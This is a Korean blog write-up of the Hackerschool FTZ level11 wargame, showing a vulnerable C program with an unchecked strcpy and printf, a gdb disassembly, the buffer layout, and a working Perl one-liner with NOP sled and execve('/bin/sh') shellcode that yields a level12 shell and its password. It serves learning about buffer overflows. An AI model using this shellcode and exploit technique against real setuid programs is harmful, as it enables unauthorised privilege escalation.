'2012/03'에 해당되는 글 1건

  1. 2012.03.26 Hackerschool FTZ level11

Hackerschool FTZ level11

2012. 3. 26. 09:58 from MyStudy/FTZ

Hackerschool FTZ level11

izayoi

 

[level11@localhost level11]$ cat hint

 

#include <stdio.h>

#include <stdlib.h>

 

int main( int argc, char *argv[] )

{

           char str[256];

 

          setreuid( 3092, 3092 );

           strcpy( str, argv[1] );

           printf( str );

}

 

해당 문제는 가장 기본적인 BOF를 다루고 있다. 해당 문제의 컴파일 환경을 보면

 

[level11@localhost level11]$ gcc -v

Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/3.2.2/specs

Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --with-system-zlib --enable-__cxa_atexit --host=i386-redhat-linux

Thread model: posix

gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)

[level11@localhost level11]$ gdb -q attackme

(gdb) disas main

Dump of assembler code for function main:

0x08048470 <main+0>:    push   %ebp

0x08048471 <main+1>:    mov    %esp,%ebp

0x08048473 <main+3>:    sub    $0x108,%esp

 

3.2.2인 것을 확인할 수 있고 esp 108을 내리는 걸로 봐서는 8바이트의 더미값이 있다는 것을 확인할 수 있다.

 

공격 페이로드는 다음과 같다.

[str(buffer)] [stp]                   [ret][argc][argv][env]

^ nop*240byte+ shellcode(24byte)  ^&buffer

 

[level11@localhost level11]$ ./attackme `perl -e 'print "\x90"x68,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80","\x90"x175,"\xf8\xfa\xff\xbf"'`

sh-2.05b$ id

uid=3092(level12) gid=3091(level11) groups=3091(level11)

sh-2.05b$ my-pass

TERM environment variable not set.

 

Level12 Password is "it is like this".

Posted by john@memory :